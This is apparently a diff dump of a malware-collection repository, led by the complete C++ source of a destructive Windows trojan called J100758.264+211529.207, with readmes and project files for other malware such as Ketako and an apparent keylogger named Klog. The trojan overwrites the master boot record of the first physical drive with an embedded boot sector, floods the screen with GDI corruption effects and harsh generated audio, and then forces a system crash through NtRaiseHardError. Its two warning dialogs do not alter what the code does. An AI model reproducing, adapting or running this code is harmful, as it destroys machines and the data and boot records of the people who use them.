|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#define _USE_MATH_DEFINES 1
|
| 3 |
+
#include <cmath>
|
| 4 |
+
#define RGBBRUSH (DWORD)0x1900ac010e
|
| 5 |
+
#include <intrin.h>
|
| 6 |
+
#pragma comment(lib, "winmm.lib")
|
| 7 |
+
#pragma comment(lib, "ntdll.lib")
|
| 8 |
+
#pragma comment(lib, "kernel32.lib")
|
| 9 |
+
//externing rtladjustprivilege
|
| 10 |
+
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
|
| 11 |
+
//externing ntraiseharderror
|
| 12 |
+
EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ValidRespnseOption, PULONG Response);
|
| 13 |
+
|
| 14 |
+
const unsigned char MasterBootRecord[] = {0xEB, 0x00, 0xEA, 0x07, 0x7C, 0x00, 0x00, 0xF8, 0xFC, 0x0E, 0x17, 0x0E, 0x1F, 0x31, 0xC0, 0x31,
|
| 15 |
+
0xDB, 0xB9, 0xFF, 0x00, 0xBE, 0x07, 0x7C, 0xBC, 0xFE, 0xFF, 0x89, 0xE7, 0x40, 0xCD, 0x10, 0xB8,
|
| 16 |
+
0x00, 0xB8, 0x8E, 0xC0, 0x91, 0xB4, 0x2E, 0xF3, 0xAB, 0x56, 0xBE, 0x5C, 0x7D, 0xBA, 0x05, 0x01,
|
| 17 |
+
0xE8, 0x32, 0x01, 0x91, 0xCD, 0x1A, 0x52, 0xBD, 0x30, 0x30, 0xBA, 0x11, 0x1C, 0xBB, 0x00, 0x1C,
|
| 18 |
+
0x59, 0x5E, 0xAD, 0x01, 0xC8, 0x7A, 0x02, 0xB7, 0x28, 0x56, 0x50, 0x31, 0xC9, 0xE8, 0x2F, 0x01,
|
| 19 |
+
0xE8, 0xA5, 0x00, 0x42, 0x42, 0xE8, 0x86, 0x00, 0x4A, 0x4A, 0xE8, 0x81, 0x00, 0x87, 0xDA, 0xB1,
|
| 20 |
+
0x04, 0xE8, 0x7F, 0x00, 0xE8, 0x27, 0x01, 0x87, 0xDA, 0xF4, 0x38, 0xF7, 0x75, 0x2E, 0x52, 0x28,
|
| 21 |
+
0xDA, 0xF6, 0xDA, 0x78, 0xFC, 0x80, 0xFA, 0x03, 0x5A, 0x7F, 0x21, 0xBE, 0x07, 0x7C, 0x81, 0xC5,
|
| 22 |
+
0x00, 0x01, 0xB1, 0x26, 0x51, 0xB1, 0x04, 0xE8, 0x59, 0x00, 0xE8, 0x01, 0x01, 0x83, 0xEE, 0x25,
|
| 23 |
+
0x59, 0xE2, 0xF1, 0x81, 0xFD, 0x00, 0x3A, 0x7C, 0xA1, 0xF9, 0xEB, 0x18, 0xEB, 0x2F, 0x80, 0xF6,
|
| 24 |
+
0x34, 0x80, 0xFB, 0x20, 0x75, 0xAA, 0x4A, 0x80, 0xFA, 0x07, 0x7F, 0x91, 0x45, 0x95, 0x3C, 0x3A,
|
| 25 |
+
0x95, 0x7C, 0x87, 0xF8, 0xBE, 0x62, 0x7D, 0xBA, 0x05, 0x03, 0x72, 0x02, 0xB2, 0x1E, 0x31, 0xDB,
|
| 26 |
+
0xF9, 0xE8, 0xA1, 0x00, 0x31, 0xC0, 0xCD, 0x16, 0xEA, 0x07, 0x7C, 0x00, 0x00, 0x43, 0xB4, 0x01,
|
| 27 |
+
0xCD, 0x16, 0x74, 0xCD, 0x30, 0xE4, 0xCD, 0x16, 0x3C, 0x1B, 0x74, 0xEC, 0xEB, 0xC0, 0xBE, 0x20,
|
| 28 |
+
0x7D, 0xB1, 0x02, 0x88, 0xF0, 0x98, 0x97, 0xB0, 0x50, 0xF6, 0xEA, 0x01, 0xC7, 0xA5, 0xA5, 0xA5,
|
| 29 |
+
0xA5, 0xA5, 0x83, 0xC7, 0x46, 0xE2, 0xF6, 0xC3, 0xB1, 0x1A, 0x89, 0xCF, 0xB8, 0xDF, 0x74, 0xF6,
|
| 30 |
+
0xC3, 0x01, 0x75, 0x02, 0xB0, 0xDC, 0xAB, 0x51, 0xF9, 0xB4, 0x00, 0xB1, 0x05, 0xF3, 0xAB, 0x73,
|
| 31 |
+
0x06, 0xB4, 0x0F, 0xAB, 0xF5, 0xEB, 0xF2, 0xB4, 0x74, 0xAB, 0x83, 0xC7, 0x36, 0x59, 0xE2, 0xE6,
|
| 32 |
+
0xC3, 0x00, 0xDE, 0x04, 0x7C, 0x4E, 0xDD, 0x04, 0x20, 0x07, 0xB2, 0x08, 0xC1, 0x0C, 0x1E, 0x4B,
|
| 33 |
+
0xC1, 0x0C, 0xB2, 0x08, 0x20, 0x07, 0x20, 0x07, 0x20, 0x07, 0x20, 0x07, 0x20, 0x07, 0x20, 0x00,
|
| 34 |
+
0x20, 0x00, 0x5C, 0x07, 0xDC, 0x07, 0x2F, 0x07, 0xFB, 0x07, 0xDB, 0x07, 0x7E, 0x70, 0x22, 0x74,
|
| 35 |
+
0x40, 0x07, 0x20, 0x07, 0xB3, 0x70, 0x20, 0x08, 0xB3, 0x70, 0x20, 0x08, 0x53, 0x53, 0x41, 0x55,
|
| 36 |
+
0x4F, 0x59, 0x4E, 0x4F, 0x57, 0xB4, 0x02, 0xCD, 0x10, 0xB1, 0x03, 0xAC, 0xB4, 0x0A, 0xCD, 0x10,
|
| 37 |
+
0xE2, 0xF9, 0xB2, 0x1E, 0xF5, 0x72, 0xEE, 0xBA, 0x0F, 0x1A, 0xB4, 0x02, 0xCD, 0x10, 0xC3, 0x95,
|
| 38 |
+
0xBF, 0xFC, 0x00, 0x86, 0xE0, 0xAA, 0x83, 0xC7, 0x31, 0x86, 0xC4, 0xAA, 0x95, 0xC3, 0x52, 0xB0,
|
| 39 |
+
0xB6, 0xE6, 0x43, 0x88, 0xD0, 0xE6, 0x42, 0xD0, 0xE8, 0xE6, 0x42, 0xE4, 0x61, 0x0C, 0x03, 0xE6,
|
| 40 |
+
0x61, 0xB6, 0x09, 0xE8, 0x15, 0x00, 0x29, 0xD0, 0x92, 0xE8, 0x0F, 0x00, 0x39, 0xD0, 0x7F, 0xF9,
|
| 41 |
+
0xE4, 0x61, 0x24, 0xFC, 0xE6, 0x61, 0xE8, 0x0F, 0x00, 0x5A, 0xC3, 0x31, 0xC0, 0xE6, 0x43, 0xE4,
|
| 42 |
+
0x40, 0x86, 0xE0, 0xE4, 0x40, 0x86, 0xE0, 0xC3, 0xBA, 0xDA, 0x03, 0xEC, 0xA8, 0x08, 0x74, 0xFB,
|
| 43 |
+
0xEC, 0xA8, 0x08, 0x75, 0xFB, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 44 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 45 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
|
| 46 |
+
};
|
| 47 |
+
|
| 48 |
+
DWORD xs;
|
| 49 |
+
VOID SeedXorshift32(DWORD dwSeed) {
|
| 50 |
+
xs = dwSeed;
|
| 51 |
+
}
|
| 52 |
+
DWORD xorshift32() {
|
| 53 |
+
xs ^= xs << 13;
|
| 54 |
+
xs ^= xs << 17;
|
| 55 |
+
xs ^= xs << 5;
|
| 56 |
+
return xs;
|
| 57 |
+
}
|
| 58 |
+
void mbr()
|
| 59 |
+
{
|
| 60 |
+
DWORD dwBytesWritten;
|
| 61 |
+
HANDLE hDevice = CreateFileW(
|
| 62 |
+
L"\\\\.\\PhysicalDrive0", GENERIC_ALL,
|
| 63 |
+
FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
|
| 64 |
+
OPEN_EXISTING, 0, 0);
|
| 65 |
+
WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0);
|
| 66 |
+
CloseHandle(hDevice);
|
| 67 |
+
}
|
| 68 |
+
DWORD WINAPI RGB2(LPVOID lpParam)
|
| 69 |
+
{
|
| 70 |
+
HWND v3;
|
| 71 |
+
HBITMAP h;
|
| 72 |
+
HDC hdcSrc;
|
| 73 |
+
HDC hdc;
|
| 74 |
+
void* lpvBits;
|
| 75 |
+
int nHeight;
|
| 76 |
+
int nWidth;
|
| 77 |
+
DWORD v12;
|
| 78 |
+
int j;
|
| 79 |
+
int v14;
|
| 80 |
+
int i;
|
| 81 |
+
v12 = GetTickCount();
|
| 82 |
+
nWidth = GetSystemMetrics(0);
|
| 83 |
+
nHeight = GetSystemMetrics(1);
|
| 84 |
+
lpvBits = VirtualAlloc(0, 4 * nWidth * (nHeight + 1), 0x3000u, 4u);
|
| 85 |
+
for (i = 0; ; i = (i + 1) % 2)
|
| 86 |
+
{
|
| 87 |
+
hdc = GetDC(0);
|
| 88 |
+
hdcSrc = CreateCompatibleDC(hdc);
|
| 89 |
+
h = CreateBitmap(nWidth, nHeight, 1u, 0x20u, lpvBits);
|
| 90 |
+
SelectObject(hdcSrc, h);
|
| 91 |
+
BitBlt(hdcSrc, 0, 0, nWidth, nHeight, hdc, 0, 0, 0xCC0020u);
|
| 92 |
+
GetBitmapBits(h, 4 * nHeight * nWidth, lpvBits);
|
| 93 |
+
v14 = 0;
|
| 94 |
+
if (GetTickCount() - v12 > 0xA)
|
| 95 |
+
rand();
|
| 96 |
+
for (j = 0; nHeight * nWidth > j; ++j)
|
| 97 |
+
{
|
| 98 |
+
if (!(j % nHeight) && !(rand() % 110))
|
| 99 |
+
v14 = rand() % 24;
|
| 100 |
+
*((BYTE*)lpvBits + 4 * j + v14) -= 5;
|
| 101 |
+
}
|
| 102 |
+
SetBitmapBits(h, 4 * nHeight * nWidth, lpvBits);
|
| 103 |
+
BitBlt(hdc, 0, 0, nWidth, nHeight, hdcSrc, 0, 0, 0xCC0020u);
|
| 104 |
+
DeleteObject(h);
|
| 105 |
+
DeleteObject(hdcSrc);
|
| 106 |
+
DeleteObject(hdc);
|
| 107 |
+
}
|
| 108 |
+
}
|
| 109 |
+
DWORD WINAPI payload2(LPVOID lpParam) {
|
| 110 |
+
HDC desk = GetDC(0);
|
| 111 |
+
int sw = GetSystemMetrics(0), sh = GetSystemMetrics(1);
|
| 112 |
+
while (1) {
|
| 113 |
+
SeedXorshift32(__rdtsc());
|
| 114 |
+
desk = GetDC(0);
|
| 115 |
+
SelectObject(desk, CreateHatchBrush(xorshift32() % 7, RGB(xorshift32() % 255, xorshift32() % 255, xorshift32() % 255)));
|
| 116 |
+
Ellipse(desk, xorshift32() % sw, xorshift32() % sh, xorshift32() % sw, xorshift32() % sh);
|
| 117 |
+
Rectangle(desk, xorshift32() % sw, xorshift32() % sh, xorshift32() % sw, xorshift32() % sh);
|
| 118 |
+
Sleep(20);
|
| 119 |
+
}
|
| 120 |
+
}
|
| 121 |
+
VOID WINAPI ci(int x, int y, int w, int h)
|
| 122 |
+
{
|
| 123 |
+
HDC hdc = GetDC(0);
|
| 124 |
+
HRGN hrgn = CreateEllipticRgn(x, y, w+x, h+y);
|
| 125 |
+
SelectClipRgn(hdc, hrgn);
|
| 126 |
+
BitBlt(hdc, x, y, w, h, hdc, x, y, NOTSRCCOPY);
|
| 127 |
+
DeleteObject(hrgn);
|
| 128 |
+
ReleaseDC(NULL, hdc);
|
| 129 |
+
}
|
| 130 |
+
DWORD WINAPI payload3(LPVOID lpParam) {
|
| 131 |
+
HDC desk = GetDC(0);
|
| 132 |
+
int sw = GetSystemMetrics(0), sh = GetSystemMetrics(1);
|
| 133 |
+
int rx;
|
| 134 |
+
for (int i = 0;; i++) {
|
| 135 |
+
SeedXorshift32(__rdtsc());
|
| 136 |
+
desk = GetDC(0);
|
| 137 |
+
rx = xorshift32() % sw;
|
| 138 |
+
int ry = xorshift32() % sh;
|
| 139 |
+
SelectObject(desk, CreateSolidBrush(RGB(xorshift32() % 255, xorshift32() % 255, xorshift32() % 255)));
|
| 140 |
+
BitBlt(desk, rx, 10, 100, sh, desk, rx, 0, RGBBRUSH);
|
| 141 |
+
BitBlt(desk, rx, -10, -100, sh, desk, rx, 0, RGBBRUSH);
|
| 142 |
+
BitBlt(desk, 10, ry, sw, 96, desk, 0, ry, RGBBRUSH);
|
| 143 |
+
BitBlt(desk, -10, ry, sw, -96, desk, 0, ry, RGBBRUSH);
|
| 144 |
+
Sleep(1);
|
| 145 |
+
}
|
| 146 |
+
}
|
| 147 |
+
DWORD WINAPI wef(LPVOID lpParam) {
|
| 148 |
+
RECT rect;
|
| 149 |
+
GetWindowRect(GetDesktopWindow(), &rect);
|
| 150 |
+
int w = rect.right - rect.left - 500, h = rect.bottom - rect.top - 500;
|
| 151 |
+
|
| 152 |
+
for (int t = 0;; t++)
|
| 153 |
+
{
|
| 154 |
+
const int size = 1000;
|
| 155 |
+
int x = rand()%(w+size)-size/2, y = rand()%(h+size)-size/2;
|
| 156 |
+
|
| 157 |
+
for (int i = 0; i < size; i+=100)
|
| 158 |
+
{
|
| 159 |
+
ci(x-i/2, y-i/2, i, i);
|
| 160 |
+
Sleep(25);
|
| 161 |
+
}
|
| 162 |
+
}
|
| 163 |
+
}
|
| 164 |
+
DWORD WINAPI textout(LPVOID lpParam)
|
| 165 |
+
{
|
| 166 |
+
HDC hdc;
|
| 167 |
+
int sx = 0, sy = 0;
|
| 168 |
+
LPCWSTR lpText = L"J100758.264+211529.207";
|
| 169 |
+
while(1)
|
| 170 |
+
{
|
| 171 |
+
hdc = GetWindowDC(GetDesktopWindow());
|
| 172 |
+
sx = GetSystemMetrics(0);
|
| 173 |
+
sy = GetSystemMetrics(1);
|
| 174 |
+
TextOutW(hdc, rand() % sx, rand() % sy, lpText, wcslen(lpText));
|
| 175 |
+
Sleep(10);
|
| 176 |
+
}
|
| 177 |
+
}
|
| 178 |
+
DWORD WINAPI payload6(LPVOID lpParam)
|
| 179 |
+
{
|
| 180 |
+
while (1) {
|
| 181 |
+
HDC hdc = GetDC(0);
|
| 182 |
+
int x = SM_CXSCREEN;
|
| 183 |
+
int y = SM_CYSCREEN;
|
| 184 |
+
int w = GetSystemMetrics(0);
|
| 185 |
+
int h = GetSystemMetrics(1);
|
| 186 |
+
BitBlt(hdc, rand() % 222, rand() % 222, w, h, hdc, rand() % 222, rand() % 222, NOTSRCERASE);
|
| 187 |
+
Sleep(10);
|
| 188 |
+
}
|
| 189 |
+
}
|
| 190 |
+
VOID WINAPI sound1() {
|
| 191 |
+
HWAVEOUT hWaveOut = 0;
|
| 192 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
|
| 193 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 194 |
+
char buffer[32000 * 30] = {};
|
| 195 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 196 |
+
buffer[t] = static_cast<char>(t*(t>>9|t>>13));
|
| 197 |
+
|
| 198 |
+
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 199 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 200 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 201 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 202 |
+
waveOutClose(hWaveOut);
|
| 203 |
+
}
|
| 204 |
+
VOID WINAPI sound2() {
|
| 205 |
+
HWAVEOUT hWaveOut = 0;
|
| 206 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
|
| 207 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 208 |
+
char buffer[32000 * 30] = {};
|
| 209 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 210 |
+
buffer[t] = static_cast<char>((t<<1)^((t<<1)+(t>>7)&t>>12))|t>>(4-(1^7&(t>>19)))|t>>7;
|
| 211 |
+
|
| 212 |
+
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 213 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 214 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 215 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 216 |
+
waveOutClose(hWaveOut);
|
| 217 |
+
}
|
| 218 |
+
VOID WINAPI sound3() {
|
| 219 |
+
HWAVEOUT hWaveOut = 0;
|
| 220 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
|
| 221 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 222 |
+
char buffer[32000 * 30] = {};
|
| 223 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 224 |
+
buffer[t] = static_cast<char>(t*t>>(t/512));
|
| 225 |
+
|
| 226 |
+
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 227 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 228 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 229 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 230 |
+
waveOutClose(hWaveOut);
|
| 231 |
+
}
|
| 232 |
+
VOID WINAPI sound4() {
|
| 233 |
+
HWAVEOUT hWaveOut = 0;
|
| 234 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
|
| 235 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 236 |
+
char buffer[32000 * 30] = {};
|
| 237 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 238 |
+
buffer[t] = static_cast<char>(t*t<<t);
|
| 239 |
+
|
| 240 |
+
WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 241 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 242 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 243 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 244 |
+
waveOutClose(hWaveOut);
|
| 245 |
+
}
|
| 246 |
+
|
| 247 |
+
int main(){
|
| 248 |
+
if (MessageBoxW(NULL, L"The software you just executed is considered malware.\r\n\
|
| 249 |
+
This malware will harm your computer and makes it unusable.\r\n\
|
| 250 |
+
If you are seeing this message without knowing what you just executed, simply press No and nothing will happen.\r\n\
|
| 251 |
+
If you know what this malware does and are using a safe environment to test, \
|
| 252 |
+
press Yes to start it.\r\n\r\n\
|
| 253 |
+
DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?", L"J100758.264+211529.207", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
|
| 254 |
+
{
|
| 255 |
+
ExitProcess(0);
|
| 256 |
+
}
|
| 257 |
+
else
|
| 258 |
+
{
|
| 259 |
+
if (MessageBoxW(NULL, L"THIS IS THE LAST WARNING!\r\n\r\n\
|
| 260 |
+
THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n\
|
| 261 |
+
STILL EXECUTE IT?", L"J100758.264+211529.207", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
|
| 262 |
+
{
|
| 263 |
+
ExitProcess(0);
|
| 264 |
+
}
|
| 265 |
+
else
|
| 266 |
+
{
|
| 267 |
+
mbr();
|
| 268 |
+
HANDLE thread1 = CreateThread(0, 0, RGB2, 0, 0, 0);
|
| 269 |
+
sound1();
|
| 270 |
+
Sleep(30000);
|
| 271 |
+
TerminateThread(thread1, 0);
|
| 272 |
+
CloseHandle(thread1);
|
| 273 |
+
InvalidateRect(0, 0, 0);
|
| 274 |
+
Sleep(1000);
|
| 275 |
+
HANDLE thread2 = CreateThread(0, 0, payload2, 0, 0, 0);
|
| 276 |
+
HANDLE thread3 = CreateThread(0, 0, wef, 0, 0, 0);
|
| 277 |
+
sound2();
|
| 278 |
+
Sleep(30000);
|
| 279 |
+
TerminateThread(thread2, 0);
|
| 280 |
+
CloseHandle(thread2);
|
| 281 |
+
InvalidateRect(0, 0, 0);
|
| 282 |
+
TerminateThread(thread3, 0);
|
| 283 |
+
CloseHandle(thread3);
|
| 284 |
+
InvalidateRect(0, 0, 0);
|
| 285 |
+
Sleep(1000);
|
| 286 |
+
HANDLE thread4 = CreateThread(0, 0, payload3, 0, 0, 0);
|
| 287 |
+
sound3();
|
| 288 |
+
Sleep(30000);
|
| 289 |
+
TerminateThread(thread4, 0);
|
| 290 |
+
CloseHandle(thread4);
|
| 291 |
+
InvalidateRect(0, 0, 0);
|
| 292 |
+
Sleep(2000);
|
| 293 |
+
HANDLE thread5 = CreateThread(0, 0, textout, 0, 0, 0);
|
| 294 |
+
HANDLE thread6 = CreateThread(0, 0, payload6, 0, 0, 0);
|
| 295 |
+
HANDLE thread7 = CreateThread(0, 0, wef, 0, 0, 0);
|
| 296 |
+
sound4();
|
| 297 |
+
Sleep(30000);
|
| 298 |
+
//boolean
|
| 299 |
+
BOOLEAN b;
|
| 300 |
+
//bsod response
|
| 301 |
+
unsigned long response;
|
| 302 |
+
//process privilege
|
| 303 |
+
RtlAdjustPrivilege(19, true, false, &b);
|
| 304 |
+
//call bsod
|
| 305 |
+
NtRaiseHardError(0xC0000069, 0, 0, 0, 6, &response);
|
| 306 |
+
Sleep(-1);
|
| 307 |
+
}
|
| 308 |
+
}
|
| 309 |
+
}
|
src/J100758.264-211529.207-main/readme.txt
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
██╗ ██╗ ██████╗ ██████╗ ███████╗███████╗ █████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██████╗ █████╗ ██████╗ ██████╗ ███████╗
|
| 2 |
+
██║███║██╔═████╗██╔═████╗╚════██║██╔════╝██╔══██╗ ╚════██╗██╔════╝ ██║ ██║╚════██╗███║███║██╔════╝╚════██╗██╔══██╗ ╚════██╗██╔═████╗╚════██║
|
| 3 |
+
██║╚██║██║██╔██║██║██╔██║ ██╔╝███████╗╚█████╔╝ █████╔╝███████╗ ███████║ █████╔╝╚██║╚██║███████╗ █████╔╝╚██████║ █████╔╝██║██╔██║ ██╔╝
|
| 4 |
+
██ ██║ ██║████╔╝██║████╔╝██║ ██╔╝ ╚════██║██╔══██╗ ██╔═══╝ ██╔═══██╗╚════██║██╔═══╝ ██║ ██║╚════██║██╔═══╝ ╚═══██║ ██╔═══╝ ████╔╝██║ ██╔╝
|
| 5 |
+
╚█████╔╝ ██║╚██████╔╝╚██████╔╝ ██║ ███████║╚█████╔╝██╗███████╗╚██████╔╝ ██║███████╗ ██║ ██║███████║███████╗ █████╔╝██╗███████╗╚██████╔╝ ██║
|
| 6 |
+
╚════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚════╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚════╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝
|
| 7 |
+
|
| 8 |
+
Malware name: J100758.264+211529.207
|
| 9 |
+
Malware type: Trojan
|
| 10 |
+
Damage rate: Destructive
|
| 11 |
+
Made in: c++, asm
|
| 12 |
+
Works best on: Windows XP
|
| 13 |
+
Creator: pankoza
|
| 14 |
+
creation date: 10 May 2022
|
| 15 |
+
The MBR is a boot sector remake of Donkey.bas called Sorry Ass: https://github.com/viler-int10h/Sorry-Ass
|
| 16 |
+
This malware is not a joke, run it only on vm
|
src/Ketako-main/README.md
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Ketako
|
| 2 |
+
|
| 3 |
+
Ketako malware repository. Version v1.3.
|
| 4 |
+
|
| 5 |
+
# What is Ketako ?
|
| 6 |
+
|
| 7 |
+
Ketako is a malware, it will destroy your computer, so don't try this virus on your main machine.
|
| 8 |
+
|
| 9 |
+
# What is this repository ?
|
| 10 |
+
|
| 11 |
+
It's all the source code of Ketako, and a compiled version is availaible here.
|
| 12 |
+
|
| 13 |
+
# How this malware was made ?
|
| 14 |
+
|
| 15 |
+
It's made on Visual Basic 2010 Express, an old software from 2010.
|
| 16 |
+
|
| 17 |
+
# Is the source code have spoilers about the malware ?
|
| 18 |
+
|
| 19 |
+
Yes, because there is all the logic-side of the malware.
|
| 20 |
+
|
| 21 |
+
# Demo image
|
| 22 |
+
_PS : This is a old picture !!!_
|
| 23 |
+

|
src/Klog/Klog.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 16
|
| 4 |
+
VisualStudioVersion = 16.0.34931.43
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Klog", "Klog\Klog.csproj", "{968D80A1-DD26-461F-BABC-8B1E511B18A3}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|Any CPU = Debug|Any CPU
|
| 11 |
+
Release|Any CPU = Release|Any CPU
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{968D80A1-DD26-461F-BABC-8B1E511B18A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
| 15 |
+
{968D80A1-DD26-461F-BABC-8B1E511B18A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
| 16 |
+
{968D80A1-DD26-461F-BABC-8B1E511B18A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
| 17 |
+
{968D80A1-DD26-461F-BABC-8B1E511B18A3}.Release|Any CPU.Build.0 = Release|Any CPU
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {F77CEE9D-2291-4CE3-95A5-A0C345F862D9}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/MEMZ/memz
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
|
src/MOUSEMVD.EXE_SRC/LICENSE
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
| 2 |
+
Version 2, December 2004
|
| 3 |
+
|
| 4 |
+
Copyright (C) 2025 haloperidozz (TikTok: @haloperidozz)
|
| 5 |
+
|
| 6 |
+
Everyone is permitted to copy and distribute verbatim or modified
|
| 7 |
+
copies of this license document, and changing it is allowed as long
|
| 8 |
+
as the name is changed.
|
| 9 |
+
|
| 10 |
+
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
| 11 |
+
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
| 12 |
+
|
| 13 |
+
0. You just DO WHAT THE FUCK YOU WANT TO.
|
src/MOUSEMVD.EXE_SRC/Makefile
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
